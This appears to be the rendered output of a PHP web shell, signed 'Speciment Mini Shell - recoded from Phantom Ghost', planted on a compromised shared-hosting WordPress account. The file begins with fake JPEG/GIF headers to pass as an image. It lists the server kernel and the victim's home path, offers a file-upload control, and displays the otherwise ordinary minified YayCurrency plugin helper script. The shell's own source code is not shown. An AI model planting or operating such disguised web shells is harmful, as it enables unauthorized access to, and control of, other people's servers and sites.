ÿØÿà JFIF  H H ÿÛ C   GIF89; Eú tiket mi chék chéúfetál .

Eú tiket mi chék chéúfetál .

System: Linux server378.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64

Current Path : /home/aliyykcz/public_html/wp-content/plugins_old/yaycurrency/src/helpers/
Upload File :
Current File : /home/aliyykcz/public_html/wp-content/plugins_old/yaycurrency/src/helpers/general.helper.min.js

!function (r, e) { YayCurrency_Callback = e.YayCurrency_Callback || {}, yay_currency_data_args = { common_data_args: { yayCurrencySymbolWrapper: "span.woocommerce-Price-currencySymbol", yayCurrencySwitcher: ".yay-currency-single-page-switcher", yayCurrencyWidget: ".yay-currency-widget-switcher", yayCurrencyBlock: ".yay-currency-block-switcher", yayCurrencyCartContents: "a.cart-contents" }, converter_args: { converterWrapper: ".yay-currency-converter-container", converterAmount: ".yay-currency-converter-amount", converterFrom: ".yay-currency-converter-from-currency", converterTo: ".yay-currency-converter-to-currency", converterResultWrapper: ".yay-currency-converter-result-wrapper", converterResultAmount: ".yay-currency-converter-amount-value", converterResultFrom: ".yay-currency-converter-from-currency-code", converterResultValue: ".yay-currency-converter-result-value", converterResultTo: ".yay-currency-converter-to-currency-code" }, switcher_data_args: { activeClass: "active", upwardsClass: "upwards", openClass: "open", selectedClass: "selected", currencySwitcher: ".yay-currency-switcher", currencyFlag: ".yay-currency-flag", currencySelectedFlag: ".yay-currency-flag.selected", customLoader: ".yay-currency-custom-loader", customOption: ".yay-currency-custom-options", customArrow: ".yay-currency-custom-arrow", customOptionArrow: ".yay-currency-custom-option-row", customOptionArrowSelected: ".yay-currency-custom-option-row.selected", selectTrigger: ".yay-currency-custom-select__trigger", selectWrapper: ".yay-currency-custom-select-wrapper", customSelect: ".yay-currency-custom-select", selectedOption: ".yay-currency-custom-select__trigger .yay-currency-selected-option" }, blocks_data_args: { checkout: ".wp-block-woocommerce-checkout[data-block-name='woocommerce/checkout']", cart: ".wp-block-woocommerce-cart[data-block-name='woocommerce/cart']", filterPrice: { class: { wrapper: ".wp-block-woocommerce-price-filter", controls: ".wc-block-price-filter__controls", filterSlideInput: '.wp-block-woocommerce-filter-wrapper[data-filter-type="price-filter"] .wc-block-price-slider input', minPriceWrapper: ".wc-block-price-filter__range-input--min", maxPriceWrapper: ".wc-block-price-filter__range-input--max", minPriceInput: "input.wc-block-price-filter__amount--min", maxPriceInput: "input.wc-block-price-filter__amount--max", resetButton: ".wc-block-components-filter-reset-button", progressRange: ".wc-block-price-filter__range-input-progress" } } }, cookies_data_args: { cartBlocks: "yay_cart_blocks_page", checkoutBlocks: "yay_checkout_blocks_page" } }; var a = { actions: {}, filters: {} }; YayCurrency_Callback.Helper = { addHook: function (r, e, c) { a[r][e] || (a[r][e] = []), a[r][e].push(c) }, applyFilters: function (r, e) { return a.filters[r] && a.filters[r].forEach(function (r) { e = r(e) }), e }, doAction: function (r, e) { a.actions[r] && a.actions[r].forEach(function (r) { r.apply(null, e) }) }, setCookie: function (r, e, a) { var c = ""; if (a) { var t = new Date; t.setTime(t.getTime() + 24 * a * 60 * 60 * 1e3), c = "; expires=" + t.toUTCString() } document.cookie = r + "=" + (e || "") + c + "; path=/" }, getCookie: function (r) { let e = r + "=", a = decodeURIComponent(document.cookie).split(";"); for (let r = 0; r < a.length; r++) { let c = a[r]; for (; " " == c.charAt(0);)c = c.substring(1); if (0 == c.indexOf(e)) return c.substring(e.length, c.length) } return "" }, deleteCookie: function (r) { YayCurrency_Callback.Helper.setCookie(r, "", -1) }, getCurrentCurrency: function (r = !1) { r = r || YayCurrency_Callback.Helper.getCookie(e.yayCurrency.cookie_name); let a = !1; return e.yayCurrency.converted_currency && e.yayCurrency.converted_currency.forEach(e => { e.ID === +r && (a = e) }), a }, getCurrencyIDbyCurrencyName: function (r) { let a = !1; return e.yayCurrency.converted_currency && e.yayCurrency.converted_currency.forEach(e => { e.currency === r && (a = e) }), !!a && a.ID }, getRateFeeByCurrency: function (r = !1) { r = r || YayCurrency_Callback.Helper.getCurrentCurrency(); let e = parseFloat(r.rate); return e = "percentage" === r.fee.type ? parseFloat(r.rate) + parseFloat(r.rate) * (parseFloat(r.fee.value) / 100) : parseFloat(r.rate) + parseFloat(r.fee.value), e }, getBlockData: function () { let e = []; const a = r(yay_currency_data_args.common_data_args.yayCurrencyBlock); return a.length && a.each(function () { var a = { isBlockID: r(this).data("block-id"), isShowFlag: r(this).data("show-flag"), isShowCurrencyName: r(this).data("show-currency-name"), isShowCurrencySymbol: r(this).data("show-currency-symbol"), isShowCurrencyCode: r(this).data("show-currency-code"), widgetSize: r(this).data("switcher-size") }; e.push(a) }), yayCurrencyHooks.applyFilters("yayCurrencyGetBlockData", e) }, blockLoading: function (e) { r(e).addClass("processing").block({ message: null, overlayCSS: { background: "#fff", opacity: .6 } }), yayCurrencyHooks.doAction("yayCurrencyCustomBlockLoading", [{ data: e }]) }, unBlockLoading: function (e) { r(e).removeClass("processing").unblock(), yayCurrencyHooks.doAction("yayCurrencyCustomUnBlockLoading", [{ data: e }]) }, switcherUpwards: function () { r(yay_currency_data_args.common_data_args.yayCurrencySwitcher).each(function () { const a = r(this).offset().top + r(this).height() - r(e).scrollTop(); r(e).height() - r(this).height() - r(this).offset().top + r(e).scrollTop() < 250 && a > 250 ? (r(this).find(yay_currency_data_args.switcher_data_args.customOption).addClass(yay_currency_data_args.switcher_data_args.upwardsClass), r(this).find(yay_currency_data_args.switcher_data_args.customArrow).addClass(yay_currency_data_args.switcher_data_args.upwardsClass), r(this).find(yay_currency_data_args.switcher_data_args.selectTrigger).addClass(yay_currency_data_args.switcher_data_args.upwardsClass)) : (r(this).find(yay_currency_data_args.switcher_data_args.customOption).removeClass(yay_currency_data_args.switcher_data_args.upwardsClass), r(this).find(yay_currency_data_args.switcher_data_args.customArrow).removeClass(yay_currency_data_args.switcher_data_args.upwardsClass), r(this).find(yay_currency_data_args.switcher_data_args.selectTrigger).removeClass(yay_currency_data_args.switcher_data_args.upwardsClass)) }) }, switcherAction: function () { const a = yay_currency_data_args.switcher_data_args; r(document).on("click", a.selectWrapper, function () { r(a.customSelect, this).toggleClass(a.openClass), r("#slide-out-widget-area").find(a.customOption).toggleClass("overflow-fix"), r("[id^=footer]").toggleClass("z-index-fix"), r(a.customSelect, this).parents(".handheld-navigation").toggleClass("overflow-fix") }), r(document).on("click", a.customOptionArrow, function () { let e = r(this).data("value") ? r(this).data("value") : r(this).data("currency-id"); if (!e) { const a = r(this).attr("class").match(/yay-currency-id-(\d+)/); a && (e = a[1], YayCurrency_Callback.Helper.setCookie(yayCurrency.cookie_name ?? "yay_currency_widget", e, 1), location.reload()) } const c = r(this).children(a.currencyFlag).data("country_code"); if (!r(this).hasClass(a.selectedClass)) { const e = r(this).closest(a.customSelect); if (r(this).parent().find(a.customOptionArrowSelected).removeClass(a.selectedClass), r(this).addClass(a.selectedClass), c) { const r = yayCurrency.flag_fallbacks?.[c] || yayCurrency.flag_fallbacks?.default; e.find(a.currencySelectedFlag).css({ background: `url(${yayCurrency.yayCurrencyPluginURL}assets/flags/${c}.svg), url(${r})` }) } e.find(a.selectedOption).text(r(this).text()), e.find(a.customLoader).addClass(a.activeClass), e.find(a.customArrow).hide() } YayCurrency_Callback.Helper.refreshCartFragments(), r(a.currencySwitcher).val(e).change(), YayCurrency_Callback.Helper.setCookie(yayCurrency.cookie_switcher_name ?? "yay_currency_do_change_switcher", e, 1) }), e.addEventListener("click", function (r) { document.querySelectorAll(yay_currency_data_args.switcher_data_args.customSelect).forEach(e => { e.contains(r.target) || e.classList.remove(yay_currency_data_args.switcher_data_args.openClass) }) }), yayCurrencyHooks.doAction("yayCurrencyCustomSwitcherAction", [{ data: a }]) }, refreshCartFragments: function () { "undefined" != typeof wc_cart_fragments_params && null !== wc_cart_fragments_params && sessionStorage.removeItem(wc_cart_fragments_params.fragment_name) }, getCurrentCurrencyByCode: function (r = !1, a = !1) { r = r || e.yayCurrency.default_currency_code, a = a || e.yayCurrency.converted_currency; let c = !1; return a && a.forEach(e => { e.currency === r && (c = e) }), c }, currencyConverter: function () { const e = yay_currency_data_args.converter_args.converterWrapper; r(e).length && r(e).each(function (e, a) { YayCurrency_Callback.Helper.doConverterCurrency(r(a)) }) }, doFormatNumber: function (r, e, a, c, t = !1) { if ("N/A" === r || "" === r) return r; r = (r + "").replace(/[^0-9+\-Ee.]/g, ""); let n = isFinite(+r) ? +r : 0, o = isFinite(+e) ? Math.abs(e) : 0, s = void 0 === c ? "," : c, y = void 0 === a ? "." : a, l = ""; return l = (o ? function (r, e) { let a = Math.pow(10, e); return "" + Math.round(r * a) / a }(n, o) : "" + Math.round(n)).split("."), l[0].length > 3 && (l[0] = l[0].replace(/\B(?=(?:\d{3})+(?!\d))/g, s)), (l[1] || "").length < o && (l[1] = l[1] || "", l[1] += new Array(o - l[1].length + 1).join("0")), t ? l.join(y) : l.join(y).replace(/([0-9]*\.0*[1-9]+)0+$/gm, "$1").replace(/.00+$/, "") }, roundedAmountByCurrency: function (r, e) { if (!e) return r; const { numberDecimal: a, decimalSeparator: c, thousandSeparator: t } = e; r = YayCurrency_Callback.Helper.handelRoundedPriceByCurrency(r, e); return YayCurrency_Callback.Helper.doFormatNumber(r, Number(a), c, t, !0) }, doApplyResultConverter: function (e, a) { const c = e.find(yay_currency_data_args.converter_args.converterFrom), t = e.find(yay_currency_data_args.converter_args.converterTo), n = a.from_currency_code ? a.from_currency_code : r(c).val(), o = a.to_currency_code ? a.to_currency_code : r(t).val(); let s = a.amount_value ? +a.amount_value : +r(e.find(yay_currency_data_args.converter_args.converterAmount)).val(); if (o === n) r(e.find(yay_currency_data_args.converter_args.converterResultValue)).text(s); else { const a = YayCurrency_Callback.Helper.getCurrentCurrencyByCode(n), c = YayCurrency_Callback.Helper.getCurrentCurrencyByCode(o), t = YayCurrency_Callback.Helper.getRateFeeByCurrency(c); if (a && n !== yayCurrency.default_currency_code) { const r = YayCurrency_Callback.Helper.getRateFeeByCurrency(a); s *= parseFloat(1 / r) } r(e.find(yay_currency_data_args.converter_args.converterResultValue)).text(YayCurrency_Callback.Helper.roundedAmountByCurrency(s * t, c)) } }, doConverterCurrency: function (e) { const a = e.find(yay_currency_data_args.converter_args.converterAmount), c = e.find(yay_currency_data_args.converter_args.converterFrom), t = e.find(yay_currency_data_args.converter_args.converterTo), n = e.find(yay_currency_data_args.converter_args.converterResultWrapper); r(c).change(function () { r(e.find(yay_currency_data_args.converter_args.converterResultFrom)).text(r(this).val()), YayCurrency_Callback.Helper.doApplyResultConverter(e, { from_currency_code: r(this).val() }) }), r(t).change(function () { r(e.find(yay_currency_data_args.converter_args.converterResultTo)).text(r(this).val()), YayCurrency_Callback.Helper.doApplyResultConverter(e, { to_currency_code: r(this).val() }) }), r(a).on("input", function () { const a = r(this).val(); r(this).val(a.replace(/\D/g, "")), a ? (r(n).show(), r(e.find(yay_currency_data_args.converter_args.converterResultAmount)).text(a), YayCurrency_Callback.Helper.doApplyResultConverter(e, { amount_value: a })) : r(n).hide() }), r(a).trigger("input"), r(c).trigger("change"), r(t).trigger("change") }, handelRoundedPriceByCurrency: function (r, e) { const { roundingType: a, roundingValue: c, subtractAmount: t } = e; switch (a) { case "up": r = Math.ceil(r / c) * c - t; break; case "down": r = Math.floor(r / c) * c - t; break; case "nearest": r = Math.round(r / c) * c - t }return r }, handelConvertPrice: function (r, e, a = !1) { const c = YayCurrency_Callback.Helper.getCurrentCurrency(e), t = parseFloat(YayCurrency_Callback.Helper.getRateFeeByCurrency(c)); return t && 1 !== t ? (r *= t, a && (r = parseInt(r) / a), r = YayCurrency_Callback.Helper.handelRoundedPriceByCurrency(r, c), a ? r * a : r) : r }, handelRevertPrice: function (r = 0, e = !1) { if (!e) { const r = YayCurrency_Callback.Helper.getCookie(yayCurrency.cookie_name); e = YayCurrency_Callback.Helper.getCurrentCurrency(r) } const a = parseFloat(YayCurrency_Callback.Helper.getRateFeeByCurrency(e)); return a && 1 !== a ? r / a : r }, decodeHtmlEntity: function (r) { var e = document.createElement("textarea"); return e.innerHTML = r, e.value }, formatPricePosition: function (r = 0, e = "", a = "left") { let c = r; switch (a) { case "left": c = e + c; break; case "right": c += e; break; case "left_space": c = e + " " + c; break; case "right_space": c = c + " " + e }return c }, formatPriceByCurrency: function (r = 0, e = !1, a = !1) { if (!a) { const r = YayCurrency_Callback.Helper.getCookie(yayCurrency.cookie_name); a = YayCurrency_Callback.Helper.getCurrentCurrency(r) } if (e) { const e = parseFloat(YayCurrency_Callback.Helper.getRateFeeByCurrency(a)); r = YayCurrency_Callback.Helper.handelRoundedPriceByCurrency(r * e, a) } var c = r.toFixed(a.numberDecimal).split("."); c[0] = c[0].replace(/\B(?=(\d{3})+(?!\d))/g, a.thousandSeparator); var t = c.join(a.decimalSeparator), n = YayCurrency_Callback.Helper.decodeHtmlEntity(a.symbol); return YayCurrency_Callback.Helper.formatPricePosition(t, n, a.currencyPosition) }, handleFilterByPrice: function (r) { e.onload = function () { YayCurrency_Callback.Helper.handleFilterByPriceClassicEditor(r), YayCurrency_Callback.Helper.handleFilterByPriceBlock(r) } }, priceSliderAmountFormatMoney: function (r, e, a) { r.html(accounting.formatMoney(e, { symbol: a.currency_format_symbol, decimal: a.currency_format_decimal_sep, thousand: a.currency_format_thousand_sep, precision: a.currency_format_num_decimals, format: a.currency_format })) }, handleFilterByPriceClassicEditor: function (a) { if (r(".widget_price_filter .price_slider").length) { const c = YayCurrency_Callback.Helper.getCurrentCurrency(a); if (c.currency === e.yayCurrency.default_currency_code) return; let t = r(".price_slider_amount #min_price").val(), n = r(".price_slider_amount #max_price").val(); if (!t || !n) return; r(document.body).on("price_slider_create price_slider_slide", function (e, a, t) { r(".price_slider_amount span.from").html(YayCurrency_Callback.Helper.formatPriceByCurrency(a, !0, c)), r(".price_slider_amount span.to").html(YayCurrency_Callback.Helper.formatPriceByCurrency(t, !0, c)) }), r(".price_slider_amount span.from").html(YayCurrency_Callback.Helper.formatPriceByCurrency(t, !0, c)), r(".price_slider_amount span.to").html(YayCurrency_Callback.Helper.formatPriceByCurrency(n, !0, c)) } }, handleFilterByPriceBlock: function (a) { if (!e.wc || !e.wc.priceFormat) return; const c = r(yay_currency_data_args.blocks_data_args.filterPrice.class.wrapper), t = e.wc.priceFormat.getCurrency() ? 10 ** e.wc.priceFormat.getCurrency().minorUnit : 1; if (c.length && c.find(yay_currency_data_args.blocks_data_args.filterPrice.class.controls).length) { let e = 1, a = !1, c = setInterval(function () { let t = r(yay_currency_data_args.blocks_data_args.filterPrice.class.minPriceWrapper), n = r(yay_currency_data_args.blocks_data_args.filterPrice.class.maxPriceWrapper); if (t.length && n.length) { const e = r(yay_currency_data_args.blocks_data_args.filterPrice.class.filterSlideInput).parents(yay_currency_data_args.blocks_data_args.filterPrice.class.controls), c = e.clone(); e.replaceWith(c); const o = !!t.attr("aria-valuetext") && +t.attr("aria-valuetext"); o && (r(yay_currency_data_args.blocks_data_args.filterPrice.class.minPriceInput).val(YayCurrency_Callback.Helper.formatPriceByCurrency(o, !0)), r(yay_currency_data_args.blocks_data_args.filterPrice.class.minPriceInput).css("pointer-events", "none")); const s = !!n.attr("aria-valuetext") && +n.attr("aria-valuetext"); s && (r(yay_currency_data_args.blocks_data_args.filterPrice.class.maxPriceInput).val(YayCurrency_Callback.Helper.formatPriceByCurrency(s, !0)), r(yay_currency_data_args.blocks_data_args.filterPrice.class.maxPriceInput).css("pointer-events", "none")), a = !0 } (5 === e || a) && clearInterval(c), ++e }, 500) } r(document).on("input", yay_currency_data_args.blocks_data_args.filterPrice.class.minPriceWrapper, function () { const e = !!r(this).attr("aria-valuetext") && +r(this).attr("aria-valuetext"); e && r(yay_currency_data_args.blocks_data_args.filterPrice.class.minPriceInput).val(YayCurrency_Callback.Helper.formatPriceByCurrency(e, !0)) }), r(document).on("input", yay_currency_data_args.blocks_data_args.filterPrice.class.maxPriceWrapper, function () { const e = !!r(this).attr("aria-valuetext") && +r(this).attr("aria-valuetext"); e && r(yay_currency_data_args.blocks_data_args.filterPrice.class.maxPriceInput).val(YayCurrency_Callback.Helper.formatPriceByCurrency(e, !0)) }), r(document).on("click", yay_currency_data_args.blocks_data_args.filterPrice.class.resetButton, function () { let c = r(yay_currency_data_args.blocks_data_args.filterPrice.class.minPriceWrapper).attr("min"), n = r(yay_currency_data_args.blocks_data_args.filterPrice.class.maxPriceWrapper).attr("max"); c && n && (c = YayCurrency_Callback.Helper.handelConvertPrice(c, a, t), n = YayCurrency_Callback.Helper.handelConvertPrice(n, a, t), r(yay_currency_data_args.blocks_data_args.filterPrice.class.minPriceInput).val(e.wc.priceFormat.formatPrice(c)), r(yay_currency_data_args.blocks_data_args.filterPrice.class.maxPriceInput).val(e.wc.priceFormat.formatPrice(n))) }) } } }(jQuery, window);

xxxxx1.0, XXX xxxx
SPECIMENT MINI SHELL - RECODED FROM PHANTOM GHOST